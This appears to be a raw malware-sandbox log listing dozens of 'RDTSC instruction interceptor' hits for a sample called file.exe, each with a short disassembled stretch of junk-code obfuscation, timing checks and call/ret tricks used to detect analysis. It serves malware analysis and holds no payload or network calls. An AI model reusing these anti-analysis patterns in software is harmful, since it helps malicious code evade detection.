Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 544CEB second address: 544CF2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54542B second address: 545437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F32E9641F16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5455BD second address: 5455E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F32E8D838EAh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5455E3 second address: 5455E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5459B0 second address: 5459B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5459B4 second address: 5459CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F20h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547223 second address: 547232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F32E8D838D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547232 second address: 547236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D8B3 second address: 50D8B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D8B8 second address: 50D8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F32E9641F24h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C5D8 second address: 54C5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54AECE second address: 54AED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C6C0 second address: 54C707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jns 00007F32E8D838DAh 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F32E8D838DEh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F32E8D838E5h 0x00000024 popad 0x00000025 pushad 0x00000026 push ecx 0x00000027 pop ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C86A second address: 54C870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 553429 second address: 55344E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E7h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F32E8D838DEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55344E second address: 553454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 553454 second address: 553476 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55378A second address: 553795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 553795 second address: 5537AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F32E8D838D6h 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007F32E8D838D6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5537AE second address: 5537C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 553AD1 second address: 553AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 553AE8 second address: 553AEE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 553AEE second address: 553B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F32E8D838DBh 0x0000000d jmp 00007F32E8D838E2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 553B13 second address: 553B17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 553B17 second address: 553B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 555EBC second address: 555F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F22h 0x00000009 popad 0x0000000a jbe 00007F32E9641F18h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F32E9641F25h 0x0000001c jmp 00007F32E9641F21h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 555F07 second address: 555F0C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 555F9C second address: 555FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jng 00007F32E9641F16h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 555FAE second address: 555FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 556502 second address: 556512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 556512 second address: 556537 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F32E8D838E8h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5565E4 second address: 5565EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5565EA second address: 556638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], ebx 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F32E8D838D8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push ecx 0x00000024 call 00007F32E8D838DBh 0x00000029 add edi, 7220ADE4h 0x0000002f pop edi 0x00000030 pop esi 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 jmp 00007F32E8D838DCh 0x0000003a pop eax 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5566E3 second address: 5566FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F32E9641F21h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 556A80 second address: 556A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 556A86 second address: 556A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 556B8E second address: 556B94 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5579F7 second address: 5579FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5579FB second address: 5579FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 558B5D second address: 558B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 558B61 second address: 558B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F32E8D838E9h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 558B82 second address: 558B90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 558B90 second address: 558BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F32E8D838E0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 558C39 second address: 558C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 558C3D second address: 558C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 558C47 second address: 558C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5596B2 second address: 5596B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5596B8 second address: 5596BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5596BD second address: 55973C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 add esi, dword ptr [ebp+122D3A35h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F32E8D838D8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a or dword ptr [ebp+1245A07Fh], edx 0x00000030 cmc 0x00000031 add dword ptr [ebp+122D2A5Dh], ecx 0x00000037 push 00000000h 0x00000039 jbe 00007F32E8D838E4h 0x0000003f xchg eax, ebx 0x00000040 pushad 0x00000041 jmp 00007F32E8D838E9h 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F32E8D838E1h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55973C second address: 55974A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55A122 second address: 55A13D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55A13D second address: 55A1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F32E9641F18h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D3BE9h] 0x0000002d push 00000000h 0x0000002f jnc 00007F32E9641F2Fh 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007F32E9641F18h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D2C47h], ebx 0x00000057 mov si, ax 0x0000005a xchg eax, ebx 0x0000005b pushad 0x0000005c jmp 00007F32E9641F25h 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F32E9641F1Fh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55A1E4 second address: 55A201 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55BD15 second address: 55BD2B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F32E9641F16h 0x00000010 jo 00007F32E9641F16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55BD2B second address: 55BD6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E6h 0x00000007 jmp 00007F32E8D838E6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jc 00007F32E8D838D6h 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55BD6A second address: 55BD7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51B105 second address: 51B126 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E8D838D6h 0x00000008 jmp 00007F32E8D838E7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5160F3 second address: 5160F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5160F8 second address: 5160FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55E286 second address: 55E28B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 564786 second address: 56478B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 566838 second address: 56683E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56683E second address: 56686C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F32E8D838DCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56686C second address: 566876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 566876 second address: 5668CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F32E8D838D8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 call 00007F32E8D838E8h 0x0000002c movzx edi, si 0x0000002f pop edi 0x00000030 xchg eax, esi 0x00000031 jo 00007F32E8D838E0h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5668CA second address: 5668D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5638FE second address: 563904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 563904 second address: 563909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56797E second address: 567982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 564A33 second address: 564A41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F32E9641F1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 567C2B second address: 567C35 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5699D8 second address: 569A56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D2709h], eax 0x00000013 push 00000000h 0x00000015 jmp 00007F32E9641F1Dh 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F32E9641F18h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 call 00007F32E9641F24h 0x0000003b jc 00007F32E9641F1Ch 0x00000041 mov dword ptr [ebp+122D2828h], ebx 0x00000047 pop ebx 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F32E9641F1Fh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 569A56 second address: 569A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 569B9B second address: 569BD2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32E9641F2Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jmp 00007F32E9641F23h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 569BD2 second address: 569BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 569BD8 second address: 569C44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov bl, dh 0x0000000b push dword ptr fs:[00000000h] 0x00000012 stc 0x00000013 mov dword ptr fs:[00000000h], esp 0x0000001a movsx ebx, ax 0x0000001d mov eax, dword ptr [ebp+122D0335h] 0x00000023 or edi, 7E52B091h 0x00000029 push FFFFFFFFh 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F32E9641F18h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 call 00007F32E9641F1Fh 0x0000004a mov edi, dword ptr [ebp+122D1E55h] 0x00000050 pop ebx 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 569C44 second address: 569C4E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56B7CB second address: 56B7D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56B7D0 second address: 56B7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56AADC second address: 56AAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56C866 second address: 56C874 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F32E8D838D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56C874 second address: 56C878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56F750 second address: 56F78C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32E8D838E5h 0x00000008 jng 00007F32E8D838D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov ebx, 7CBA9A85h 0x00000019 push 00000000h 0x0000001b add bx, 29F9h 0x00000020 push 00000000h 0x00000022 mov di, 5313h 0x00000026 xchg eax, esi 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56F78C second address: 56F790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56F790 second address: 56F7B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F32E8D838D8h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 rdtsc
